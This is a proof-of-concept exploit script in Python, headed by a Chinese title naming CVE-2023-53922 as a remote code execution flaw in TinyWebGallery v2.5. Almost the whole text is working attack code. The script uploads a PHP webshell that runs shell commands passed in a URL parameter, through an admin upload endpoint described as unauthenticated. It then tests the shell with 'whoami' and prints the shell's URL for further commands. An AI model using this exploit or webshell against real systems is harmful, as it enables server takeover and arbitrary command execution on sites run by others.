CVE-2023-53922 TinyWebGallery 远程代码执行漏洞

import requests import sys # CVE-2023-53922 PoC - TinyWebGallery RCE via Unrestricted File Upload # Target: TinyWebGallery v2.5 # Vulnerability: Unauthenticated remote code execution via admin upload functionality def exploit(target_url, webshell_path='/admin/photos/evil.php'): """ Exploit for CVE-2023-53922 Args: target_url: Base URL of vulnerable TinyWebGallery instance webshell_path: Path where webshell will be uploaded Returns: bool: True if exploitation successful """ # Step 1: Generate malicious PHP webshell webshell_content = b"<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Step 2: Prepare multipart form data upload upload_url = f"{target_url}/admin/index.php" files = { 'file': ('evil.php', webshell_content, 'application/x-php'), 'action': (None, 'upload'), } try: # Step 3: Upload malicious file (no authentication required) print(f"[*] Uploading malicious PHP file to {upload_url}...") response = requests.post(upload_url, files=files, timeout=10) # Step 4: Verify upload and test RCE shell_url = f"{target_url}{webshell_path}" print(f"[*] Testing webshell at {shell_url}...") test_response = requests.get(shell_url, params={'cmd': 'whoami'}, timeout=10) if test_response.status_code == 200: print(f"[+] SUCCESS! RCE achieved!") print(f"[+] Command output: {test_response.text.strip()}") print(f"[+] Webshell URL: {shell_url}?cmd=<command>") return True else: print(f"[-] Failed: HTTP {test_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/twg") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target)